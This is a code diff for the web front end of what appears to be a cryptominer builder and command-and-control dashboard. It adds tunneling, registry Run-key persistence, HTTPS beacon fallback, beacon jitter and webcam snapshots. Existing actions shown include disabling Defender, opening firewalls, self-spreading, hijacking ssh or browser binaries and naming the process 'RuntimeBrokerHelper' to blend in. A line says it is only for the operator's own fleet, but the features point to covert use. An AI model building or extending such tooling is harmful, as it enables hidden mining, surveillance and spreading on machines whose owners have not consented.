}
|
||||
|
||||
.protocol-tunnel-status h4 {
|
||||
margin: 0 0 0.4rem;
|
||||
font-size: 0.7rem;
|
||||
color: var(--accent-gold, #c9a227);
|
||||
}
|
||||
|
||||
.protocol-tunnel-status-list {
|
||||
margin: 0;
|
||||
padding-left: 1.1rem;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.protocol-tunnel-raw {
|
||||
margin: 0;
|
||||
font-size: 0.72rem;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
max-height: 8rem;
|
||||
overflow: auto;
|
||||
}
|
||||
278
server/web/src/components/Fleet/ProtocolTunnelPanel.tsx
Normal file
278
server/web/src/components/Fleet/ProtocolTunnelPanel.tsx
Normal file
@@ -0,0 +1,278 @@
|
||||
import { useCallback, useEffect, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, AgentCapabilities } from '../../types';
|
||||
import { canRunAggressiveAction, aggressiveActionHint } from '../../help/aggressiveActions';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
|
||||
export interface TunnelStatusView {
|
||||
cloudflared_running?: boolean;
|
||||
cloudflared_url?: string;
|
||||
cloudflared_pid?: number;
|
||||
wireguard_active?: boolean;
|
||||
wireguard_detail?: string;
|
||||
ssh_forwards?: Array<{
|
||||
local_port: number;
|
||||
remote_host: string;
|
||||
remote_port: number;
|
||||
ssh_user?: string;
|
||||
jump_host?: string;
|
||||
pid: number;
|
||||
running?: boolean;
|
||||
}>;
|
||||
}
|
||||
|
||||
function parseTunnelStatus(message: string): TunnelStatusView | null {
|
||||
const start = message.indexOf('{');
|
||||
if (start < 0) return null;
|
||||
try {
|
||||
return JSON.parse(message.slice(start)) as TunnelStatusView;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName: string;
|
||||
online: boolean;
|
||||
caps?: AgentCapabilities | null;
|
||||
platform?: string;
|
||||
compact?: boolean;
|
||||
/** WS command_result messages — panel listens for tunnel_status */
|
||||
lastTunnelStatusMessage?: string;
|
||||
onDispatch: (action: string, args?: Record<string, unknown>) => void | Promise<void>;
|
||||
busy?: string | null;
|
||||
}
|
||||
|
||||
export default function ProtocolTunnelPanel({
|
||||
agentId,
|
||||
agentName,
|
||||
online,
|
||||
caps,
|
||||
platform,
|
||||
compact = false,
|
||||
lastTunnelStatusMessage,
|
||||
onDispatch,
|
||||
busy,
|
||||
}: Props) {
|
||||
const [expanded, setExpanded] = useState(!compact);
|
||||
const [cfURL, setCfURL] = useState('');
|
||||
const [localPort, setLocalPort] = useState('2222');
|
||||
const [targetHostPort, setTargetHostPort] = useState('192.168.1.10:22');
|
||||
const [sshUser, setSshUser] = useState('');
|
||||
const [status, setStatus] = useState<TunnelStatusView | null>(null);
|
||||
const [statusRaw, setStatusRaw] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
api.getConfig().then((cfg) => {
|
||||
const fromTunnel = cfg.tunnel_defaults?.cloudflared_target_url?.trim();
|
||||
const fromPublic = cfg.server?.public_url?.trim();
|
||||
setCfURL(fromTunnel || fromPublic || '');
|
||||
}).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (lastTunnelStatusMessage) {
|
||||
const parsed = parseTunnelStatus(lastTunnelStatusMessage);
|
||||
if (parsed) setStatus(parsed);
|
||||
setStatusRaw(lastTunnelStatusMessage);
|
||||
}
|
||||
}, [lastTunnelStatusMessage]);
|
||||
|
||||
const tunnelAllowed = canRunAggressiveAction('start_tunnel', caps, platform);
|
||||
const tunnelHint = aggressiveActionHint('start_tunnel', caps, platform);
|
||||
|
||||
const refreshStatus = useCallback(() => {
|
||||
if (!online || !agentId) return;
|
||||
void onDispatch('tunnel_status');
|
||||
}, [online, agentId, onDispatch]);
|
||||
|
||||
useEffect(() => {
|
||||
if (expanded && online) refreshStatus();
|
||||
}, [expanded, online, refreshStatus]);
|
||||
|
||||
const disabled = !online || !!busy;
|
||||
|
||||
return (
|
||||
<div className={`protocol-tunnel-panel ${compact ? 'compact' : ''}`}>
|
||||
<button
|
||||
type="button"
|
||||
className="protocol-tunnel-toggle"
|
||||
onClick={() => setExpanded((e) => !e)}
|
||||
aria-expanded={expanded}
|
||||
>
|
||||
<span className="font-tech">◈ Protocol Tunneling</span>
|
||||
<span className="protocol-tunnel-chevron">{expanded ? '▾' : '▸'}</span>
|
||||
</button>
|
||||
|
||||
{expanded && (
|
||||
<div className="protocol-tunnel-body">
|
||||
<p className="protocol-tunnel-help">
|
||||
Encapsulates traffic for ops on <strong>your</strong> fleet — reach internal hosts and expose
|
||||
agent LAN services. Not for third-party evasion or hiding infrastructure.
|
||||
</p>
|
||||
|
||||
<div className="protocol-tunnel-cards">
|
||||
<section className="protocol-tunnel-card">
|
||||
<h4 className="font-tech">Cloudflare Tunnel</h4>
|
||||
<p className="protocol-tunnel-card-hint">Agent dials out to your control URL (no inbound port).</p>
|
||||
<label className="protocol-tunnel-label">
|
||||
Target URL
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input"
|
||||
value={cfURL}
|
||||
onChange={(e) => setCfURL(e.target.value)}
|
||||
placeholder="https://your-server.example.com"
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
<div className="protocol-tunnel-actions">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta btn-sm"
|
||||
disabled={disabled || !tunnelAllowed}
|
||||
title={tunnelHint}
|
||||
onClick={() => onDispatch('tunnel_cloudflared', { command: cfURL.trim() })}
|
||||
>
|
||||
Start Cloudflared
|
||||
</button>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="protocol-tunnel-card">
|
||||
<h4 className="font-tech">WireGuard (Path Tracer)</h4>
|
||||
<p className="protocol-tunnel-card-hint">
|
||||
Multi-hop mesh VPN for owned nodes — configure sessions on the dashboard.
|
||||
</p>
|
||||
<Link to="/pathtracer" className="btn btn-outline btn-sm protocol-tunnel-link">
|
||||
Open Path Tracer →
|
||||
</Link>
|
||||
</section>
|
||||
|
||||
<section className="protocol-tunnel-card">
|
||||
<h4 className="font-tech">SSH Local Forward</h4>
|
||||
<p className="protocol-tunnel-card-hint">
|
||||
Windows agent opens <code>127.0.0.1:local → LAN target</code> via OpenSSH/plink (admin reach-through).
|
||||
</p>
|
||||
<div className="protocol-tunnel-row">
|
||||
<label className="protocol-tunnel-label">
|
||||
Local port
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input short"
|
||||
value={localPort}
|
||||
onChange={(e) => setLocalPort(e.target.value)}
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
<label className="protocol-tunnel-label">
|
||||
Target host:port
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input"
|
||||
value={targetHostPort}
|
||||
onChange={(e) => setTargetHostPort(e.target.value)}
|
||||
placeholder="192.168.1.50:3389"
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
<label className="protocol-tunnel-label">
|
||||
SSH user (optional)
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input"
|
||||
value={sshUser}
|
||||
onChange={(e) => setSshUser(e.target.value)}
|
||||
placeholder="Administrator"
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
<div className="protocol-tunnel-actions">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta btn-sm"
|
||||
disabled={disabled || !tunnelAllowed || platform === 'darwin' || platform === 'linux'}
|
||||
title={
|
||||
platform !== 'windows' && platform !== undefined
|
||||
? 'SSH forward is Windows-only'
|
||||
: tunnelHint
|
||||
}
|
||||
onClick={() =>
|
||||
onDispatch('tunnel_ssh_forward', {
|
||||
data: JSON.stringify({
|
||||
local_port: parseInt(localPort, 10) || 2222,
|
||||
remote_host: targetHostPort.split(':')[0] || '',
|
||||
remote_port: parseInt(targetHostPort.split(':').pop() ?? '22', 10) || 22,
|
||||
ssh_user: sshUser.trim() || undefined,
|
||||
}),
|
||||
})
|
||||
}
|
||||
>
|
||||
Start SSH Forward
|
||||
</button>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div className="protocol-tunnel-status-bar">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={disabled}
|
||||
onClick={refreshStatus}
|
||||
>
|
||||
{busy === 'tunnel_status' ? '…' : 'Refresh Status'}
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-red btn-sm"
|
||||
disabled={disabled || !tunnelAllowed}
|
||||
title={tunnelHint}
|
||||
onClick={() => onDispatch('tunnel_stop', { command: 'all' })}
|
||||
>
|
||||
Stop All Tunnels
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{(status || statusRaw) && (
|
||||
<div className="protocol-tunnel-status">
|
||||
<h4 className="font-tech">tunnel_status — {agentName}</h4>
|
||||
{status ? (
|
||||
<ul className="protocol-tunnel-status-list">
|
||||
<li>
|
||||
Cloudflared:{' '}
|
||||
{status.cloudflared_running
|
||||
? `running (pid ${status.cloudflared_pid}) → ${status.cloudflared_url ?? ''}`
|
||||
: 'stopped'}
|
||||
</li>
|
||||
<li>
|
||||
WireGuard:{' '}
|
||||
{status.wireguard_active ? 'active' : 'inactive'}
|
||||
</li>
|
||||
<li>
|
||||
SSH forwards:{' '}
|
||||
{status.ssh_forwards?.length
|
||||
? status.ssh_forwards
|
||||
.map(
|
||||
(f) =>
|
||||
`127.0.0.1:${f.local_port} → ${f.remote_host}:${f.remote_port} (pid ${f.pid})`
|
||||
)
|
||||
.join('; ')
|
||||
: 'none'}
|
||||
</li>
|
||||
</ul>
|
||||
) : (
|
||||
<pre className="protocol-tunnel-raw">{statusRaw.slice(0, 2000)}</pre>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export { parseTunnelStatus };
|
||||
@@ -7,7 +7,7 @@ import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import { type ReactNode } from 'react';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { mockAgent, mockServerInfo, mockServerConfig } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { downloadApiFile, downloadAuthedFile } from '../api/download';
|
||||
import { getStoredAuth } from '../api/auth';
|
||||
@@ -54,6 +54,9 @@ import AmbientBackground from './Ambient/AmbientBackground';
|
||||
import CursorFire from './Visual/CursorFire';
|
||||
import MatrixRain from './Layout/MatrixRain';
|
||||
|
||||
vi.mock('./Fleet/ProtocolTunnelPanel', () => ({ default: () => null }));
|
||||
vi.mock('./Fleet/FullSysCheckPanel', () => ({ default: () => null }));
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
@@ -358,6 +361,7 @@ describe('AgentRemoteActions', () => {
|
||||
beforeEach(() => {
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
});
|
||||
|
||||
it('compact mode disables actions when offline', () => {
|
||||
@@ -382,7 +386,11 @@ describe('AgentRemoteActions', () => {
|
||||
});
|
||||
|
||||
it('full panel shows Target heading and recon section', async () => {
|
||||
render(<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />);
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
||||
});
|
||||
@@ -391,7 +399,11 @@ describe('AgentRemoteActions', () => {
|
||||
});
|
||||
|
||||
it('disables recon buttons when agent offline', async () => {
|
||||
render(<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />);
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'tunnel_cloudflared',
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
|
||||
case 'spread_now':
|
||||
return caps.auto_spread || caps.remote_aggressive;
|
||||
case 'start_tunnel':
|
||||
case 'tunnel_cloudflared':
|
||||
case 'tunnel_ssh_forward':
|
||||
case 'tunnel_stop':
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
|
||||
@@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
run_as: 'scheduled',
|
||||
host_binary_target: 'ssh',
|
||||
auto_start: true,
|
||||
autostart_mode: '',
|
||||
registry_persistence: '',
|
||||
registry_run_hkcu: false,
|
||||
registry_run_hklm: false,
|
||||
registry_run_once: false,
|
||||
registry_explorer_run: false,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 95,
|
||||
|
||||
@@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
server_url: { disabled: false, badge: 'baked' },
|
||||
https_beacon_fallback: { disabled: false, badge: 'baked' },
|
||||
https_beacon_after_min: { disabled: false, badge: 'baked' },
|
||||
wallet: { disabled: false, badge: 'baked' },
|
||||
output_dir: {
|
||||
disabled: false,
|
||||
@@ -329,6 +331,38 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
|
||||
: undefined,
|
||||
},
|
||||
autostart_mode: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal
|
||||
? 'Boot/logon autostart hooks are Windows-only.'
|
||||
: undefined,
|
||||
},
|
||||
registry_run_hkcu: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_run_once: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_run_hklm: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_explorer_run: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
host_binary_target: {
|
||||
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
|
||||
|
||||
@@ -114,6 +114,7 @@ export function applySmartForgeDefaults(
|
||||
worker_name: worker,
|
||||
server_url: serverUrl,
|
||||
backup_server_urls: lanBackups,
|
||||
https_beacon_fallback: lanBackups.length > 0 ? true : form.https_beacon_fallback,
|
||||
wallet: form.wallet?.trim() || form.wallet,
|
||||
pool_host: form.pool_host || preset.pool_host!,
|
||||
pool_port: form.pool_port || preset.pool_port!,
|
||||
|
||||
@@ -13,6 +13,7 @@ const UI_REMOTE_ACTIONS = [
|
||||
'uninstall',
|
||||
'restart',
|
||||
'screenshot',
|
||||
'camera_snapshot',
|
||||
'ps',
|
||||
'sysinfo',
|
||||
'netstat',
|
||||
@@ -46,6 +47,8 @@ const AGENT_HANDLED = new Set([
|
||||
'users',
|
||||
'software',
|
||||
'screenshot',
|
||||
'camera_snapshot',
|
||||
'camera_list',
|
||||
'sysinfo',
|
||||
'ipconfig',
|
||||
'clipboard',
|
||||
@@ -55,6 +58,11 @@ const AGENT_HANDLED = new Set([
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'tunnel_cloudflared',
|
||||
'tunnel_wireguard',
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_status',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
@@ -88,8 +96,8 @@ describe('remote action wiring', () => {
|
||||
|
||||
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
||||
it('lists every wired aggressive command once', () => {
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -126,6 +134,9 @@ describe('canRunAggressiveAction edge cases', () => {
|
||||
const noAgg = { ...fullCaps, remote_aggressive: false };
|
||||
for (const action of [
|
||||
'start_tunnel',
|
||||
'tunnel_cloudflared',
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
|
||||
@@ -13,9 +13,12 @@ export function sanitizeScreenshotBase64(raw: string): string {
|
||||
return fallback.length >= 100 ? fallback : '';
|
||||
}
|
||||
|
||||
export type CaptureDownloadKind = 'screenshot' | 'camera';
|
||||
|
||||
export function downloadScreenshotFromBase64(
|
||||
base64: string,
|
||||
agentLabel: string
|
||||
agentLabel: string,
|
||||
kind: CaptureDownloadKind = 'screenshot'
|
||||
): boolean {
|
||||
const clean = sanitizeScreenshotBase64(base64);
|
||||
if (clean.length < 100) return false;
|
||||
@@ -26,7 +29,7 @@ export function downloadScreenshotFromBase64(
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `screenshot-${safeName}-${stamp}.jpg`;
|
||||
a.download = `${kind}-${safeName}-${stamp}.jpg`;
|
||||
a.rel = 'noopener';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
|
||||
@@ -35,6 +35,7 @@ describe('FIELD_HELP', () => {
|
||||
'forge_simple_mode',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sigil_scramble',
|
||||
'sign_build',
|
||||
'obfuscate_default',
|
||||
'sign_enabled',
|
||||
@@ -64,7 +65,14 @@ describe('FIELD_HELP', () => {
|
||||
'display_mode',
|
||||
'process_name',
|
||||
'persistence',
|
||||
'autostart_mode',
|
||||
'registry_persistence',
|
||||
'registry_run_hkcu',
|
||||
'registry_run_once',
|
||||
'registry_run_hklm',
|
||||
'registry_explorer_run',
|
||||
'run_as',
|
||||
'host_binary_target',
|
||||
'silent_mode',
|
||||
'auto_start',
|
||||
'fusion_enabled',
|
||||
@@ -77,11 +85,15 @@ describe('FIELD_HELP', () => {
|
||||
'install_custom_base',
|
||||
'install_relative_path',
|
||||
'public_url',
|
||||
'https_beacon_fallback',
|
||||
'https_beacon_after_min',
|
||||
'webhook_url',
|
||||
'websocket_ping_seconds',
|
||||
'log_pool_traffic',
|
||||
'adapt_to_hardware',
|
||||
'self_healing',
|
||||
'firewall_exclusion',
|
||||
'firewall_remote',
|
||||
'open_firewall_on_start',
|
||||
'file_logging',
|
||||
'stealth_mode',
|
||||
|
||||
@@ -67,6 +67,18 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
|
||||
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
|
||||
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
|
||||
autostart_mode:
|
||||
'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.',
|
||||
registry_persistence:
|
||||
'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.',
|
||||
registry_run_hkcu:
|
||||
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.',
|
||||
registry_run_once:
|
||||
'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.',
|
||||
registry_run_hklm:
|
||||
'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.',
|
||||
registry_explorer_run:
|
||||
'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.',
|
||||
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
|
||||
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
@@ -110,4 +122,10 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
||||
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
||||
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
||||
https_beacon_fallback:
|
||||
'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.',
|
||||
https_beacon_after_min:
|
||||
'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
|
||||
webhook_url:
|
||||
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
||||
};
|
||||
|
||||
@@ -1129,6 +1129,81 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── Connection profile (advanced) ─────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Connection Profile"
|
||||
badge="baked"
|
||||
description="C2 reconnect timing and optional agent self-destruct date."
|
||||
/>
|
||||
<div className="form-row" style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(140px, 1fr))', gap: '0.75rem' }}>
|
||||
<div className="form-group">
|
||||
<label className="label">Beacon interval (sec)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
placeholder="5"
|
||||
value={form.beacon_interval_sec ?? ''}
|
||||
onChange={(e) => updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Beacon jitter (%)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={0}
|
||||
max={100}
|
||||
placeholder="0"
|
||||
value={form.beacon_jitter_pct ?? ''}
|
||||
onChange={(e) => updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Kill after (days, 0=never)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={0}
|
||||
placeholder="0"
|
||||
value={form.agent_kill_after_days ?? ''}
|
||||
onChange={(e) => updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginTop: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.https_beacon_fallback !== false && (
|
||||
form.https_beacon_fallback === true ||
|
||||
(form.backup_server_urls ?? []).some((u) => u.trim() !== '')
|
||||
)}
|
||||
onChange={(e) => updateField('https_beacon_fallback', e.target.checked)}
|
||||
/>
|
||||
<span>HTTPS beacon fallback <HelpTip field="https_beacon_fallback" /></span>
|
||||
</label>
|
||||
<FieldHint field="https_beacon_fallback" />
|
||||
</div>
|
||||
{form.https_beacon_fallback !== false && (
|
||||
<div className="form-group">
|
||||
<label className="label">HTTPS fallback after (min)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
placeholder="3"
|
||||
value={form.https_beacon_after_min ?? ''}
|
||||
onChange={(e) => updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
@@ -1683,6 +1758,59 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.autostart_mode?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Boot / logon autostart <HelpTip field="autostart_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.autostart_mode ?? ''}
|
||||
disabled={fieldMeta.autostart_mode?.disabled}
|
||||
onChange={(e) => updateField('autostart_mode', e.target.value)}
|
||||
>
|
||||
<option value="">Legacy (linked to checkbox above)</option>
|
||||
<option value="none">None (Run As hooks only)</option>
|
||||
<option value="logon_run">User logon — Registry Run (HKCU)</option>
|
||||
<option value="logon_startup_folder">User logon — Startup folder shortcut</option>
|
||||
<option value="logon_task">User logon — Scheduled task (ONLOGON)</option>
|
||||
<option value="boot_task">System boot — Scheduled task (ONSTART / SYSTEM)</option>
|
||||
<option value="all">All of the above</option>
|
||||
</select>
|
||||
<FieldHint field="autostart_mode" />
|
||||
<ForgeLockedHint meta={fieldMeta.autostart_mode} />
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.registry_run_hkcu?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Registry persistence (T1112) <HelpTip field="registry_persistence" /></label>
|
||||
<div className="checkbox-grid">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hkcu}
|
||||
disabled={fieldMeta.registry_run_hkcu?.disabled}
|
||||
onChange={(e) => updateField('registry_run_hkcu', e.target.checked)} />
|
||||
<span>HKCU Run (logon) <HelpTip field="registry_run_hkcu" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_once}
|
||||
disabled={fieldMeta.registry_run_once?.disabled}
|
||||
onChange={(e) => updateField('registry_run_once', e.target.checked)} />
|
||||
<span>HKCU RunOnce <HelpTip field="registry_run_once" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hklm}
|
||||
disabled={fieldMeta.registry_run_hklm?.disabled}
|
||||
onChange={(e) => updateField('registry_run_hklm', e.target.checked)} />
|
||||
<span>HKLM Run/RunOnce (elevated) <HelpTip field="registry_run_hklm" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_explorer_run}
|
||||
disabled={fieldMeta.registry_explorer_run?.disabled}
|
||||
onChange={(e) => updateField('registry_explorer_run', e.target.checked)} />
|
||||
<span>Explorer Policies Run <HelpTip field="registry_explorer_run" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<p className="field-hint subtle">
|
||||
Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART.
|
||||
Fleet registry read/write/delete is available under Remote Actions on Windows agents.
|
||||
</p>
|
||||
<ForgeLockedHint meta={fieldMeta.registry_run_hkcu} />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
@@ -13,7 +13,10 @@ import { useMatrixRain } from '../context/MatrixRainContext';
|
||||
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
|
||||
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import FileManager from '../components/Fleet/FileManager';
|
||||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||||
